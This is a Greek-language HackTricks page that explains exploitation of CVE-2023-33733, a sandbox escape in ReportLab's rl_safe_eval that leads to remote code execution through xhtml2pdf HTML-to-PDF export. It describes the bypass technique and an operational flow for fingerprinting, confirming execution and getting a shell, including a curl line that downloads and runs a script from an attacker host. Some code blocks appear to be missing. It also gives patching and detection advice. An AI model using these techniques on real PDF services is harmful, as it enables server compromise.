ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η σελίδα τεκμηριώνει ένα πρακτικό sandbox escape και primitive RCE στο ReportLab’s rl_safe_eval που χρησιμοποιείται από xhtml2pdf και άλλες ροές δημιουργίας PDF όταν γίνεται render HTML ελεγχόμενο από χρήστη σε PDF.
CVE-2023-33733 επηρεάζει τις εκδόσεις ReportLab έως και την 3.6.12. Σε ορισμένα περιβάλλοντα attribute (για παράδειγμα color), τιμές τυλιγμένες σε τριπλά αγκύλες [[[ ... ]]] αξιολογούνται server-side από rl_safe_eval. Με τη δημιουργία ενός payload που περιστρέφεται από ένα whitelisted builtin (pow) προς τα globals της αντίστοιχης Python συνάρτησης, ένας επιτιθέμενος μπορεί να φτάσει στο module os και να εκτελέσει εντολές.
Βασικά σημεία
- Trigger: εισαγωγή [[[ ... ]]] σε αξιολογούμενα attributes όπως μέσα σε markup που κάνει parsing το ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval αντικαθιστά επικίνδυνα builtins αλλά οι αξιολογούμενες συναρτήσεις εξακολουθούν να εκθέτουν globals.
- Bypass: δημιουργία μιας προσωρινής κλάσης Word για να παρακαμφθεί ο έλεγχος ονομάτων του rl_safe_eval και πρόσβαση στο string "globals" αποφεύγοντας το φιλτράρισμα των dunder.
- RCE: getattr(pow, Word("globals"))["os"].system("
") - Stability: Επιστροφή έγκυρης τιμής για το attribute μετά την εκτέλεση (για color, χρησιμοποιήστε and 'red').
Πότε να δοκιμάσετε
- Εφαρμογές που προσφέρουν HTML-to-PDF export (profiles, invoices, reports) και εμφανίζουν xhtml2pdf/ReportLab στα metadata του PDF ή σε σχόλια στην HTTP απόκριση.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- Η HTTP απόκριση για PDF συχνά ξεκινά με ένα ReportLab generator comment
Πώς λειτουργεί το bypass του sandbox
- rl_safe_eval αφαιρεί ή αντικαθιστά πολλά builtins (getattr, type, pow, ...) και εφαρμόζει φιλτράρισμα ονομάτων για να απορρίψει attributes που ξεκινούν με __ ή που είναι σε denylist.
- Ωστόσο, οι ασφαλείς συναρτήσεις ζουν σε ένα globals dictionary προσβάσιμο ως func.globals.
- Χρησιμοποιήστε type(type(1)) για να ανακτήσετε την πραγματική builtin συνάρτηση type (παρακάμπτοντας το wrapper του ReportLab), στη συνέχεια ορίστε μια κλάση Word που κληρονομεί από str με μεταβλημένη συμπεριφορά σύγκρισης έτσι ώστε:
- .startswith('') → πάντα False (παρακάμπτει τον έλεγχο name startswith(''))
- .eq επιστρέφει False μόνο στην πρώτη σύγκριση (παρακάμπτει τους ελέγχους membership στη denylist) και True στη συνέχεια (ώστε το Python getattr να λειτουργεί)
- .hash ισούται με hash(str(self))
- Με αυτό, getattr(pow, Word('globals')) επιστρέφει το globals dict της τυλιγμένης συνάρτησης pow, το οποίο περιλαμβάνει το εισαγμένο module os. Έπειτα: ['os'].system('
').
Ελάχιστο μοτίβο εκμετάλλευσης (παράδειγμα attribute) Τοποθετήστε το payload μέσα σε ένα αξιολογούμενο attribute και διασφαλίστε ότι επιστρέφει μια έγκυρη τιμή attribute μέσω boolean και 'red'.
- Η μορφή με list-comprehension επιτρέπει μια ενιαία έκφραση αποδεκτή από rl_safe_eval.
- Το τελικό and 'red' επιστρέφει ένα έγκυρο CSS color ώστε το rendering να μην σπάει.
- Αντικαταστήστε την εντολή όπως απαιτείται· χρησιμοποιήστε ping για να επικυρώσετε την εκτέλεση με tcpdump.
Επιχειρησιακή ροή
- Εντοπίστε τον generator του PDF
- Ο PDF Producer δείχνει xhtml2pdf; η HTTP απόκριση περιέχει ReportLab comment.
- Βρείτε ένα input που αντανακλάται στο PDF (π.χ., profile bio/description) και ενεργοποιήστε export.
- Επιβεβαιώστε την εκτέλεση με low-noise ICMP
- Run: sudo tcpdump -ni
icmp - Payload: ... system('ping <your_ip>') ...
- Τα Windows συχνά στέλνουν ακριβώς τέσσερα echo requests by default.
- Εγκαθίδρυση shell
- Για Windows, μια αξιόπιστη two-stage προσέγγιση αποφεύγει προβλήματα quoting/encoding:
- Stage 1 (download):
- Stage 2 (execute):
- Για Linux στόχους, παρόμοια two-stage με curl/wget είναι δυνατή:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Σημειώσεις και συμβουλές
- Contexts attributes: το color είναι ένα γνωστό αξιολογούμενο attribute; κι άλλα attributes στο ReportLab markup μπορεί επίσης να αξιολογούν εκφράσεις. Αν μια τοποθεσία είναι sanitized, δοκιμάστε άλλες που αποδίδονται στη ροή του PDF (διαφορετικά πεδία, table styles, κ.λπ.).
- Quoting: Διατηρήστε τις εντολές συμπαγείς. Οι two-stage downloads μειώνουν δραστικά τα προβλήματα quoting και escaping.
- Reliability: Αν τα exports είναι cached ή queued, παραλλάξτε ελαφρώς το payload (π.χ., τυχαίο path ή query) για να αποφύγετε cache hits.
Αντιμετώπιση και ανίχνευση
- Αναβαθμίστε το ReportLab στην 3.6.13 ή μεταγενέστερη (CVE-2023-33733 διορθώθηκε). Παρακολουθείτε επίσης security advisories στα distro πακέτα.
- Μην περνάτε HTML/markup ελεγχόμενο από χρήστη απευθείας σε xhtml2pdf/ReportLab χωρίς αυστηρό sanitization. Αφαιρέστε/απορρίψτε την αξιολόγηση [[[...]]] και vendor-specific tags όταν το input δεν είναι έμπιστο.
- Σκεφτείτε να απενεργοποιήσετε ή να τυλίξετε εντελώς τη χρήση του rl_safe_eval για μη αξιόπιστα inputs.
- Παρακολουθήστε για ύποπτες εξερχόμενες συνδέσεις κατά τη δημιουργία PDF (π.χ., ICMP/HTTP από app servers κατά το export εγγράφων).
References
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.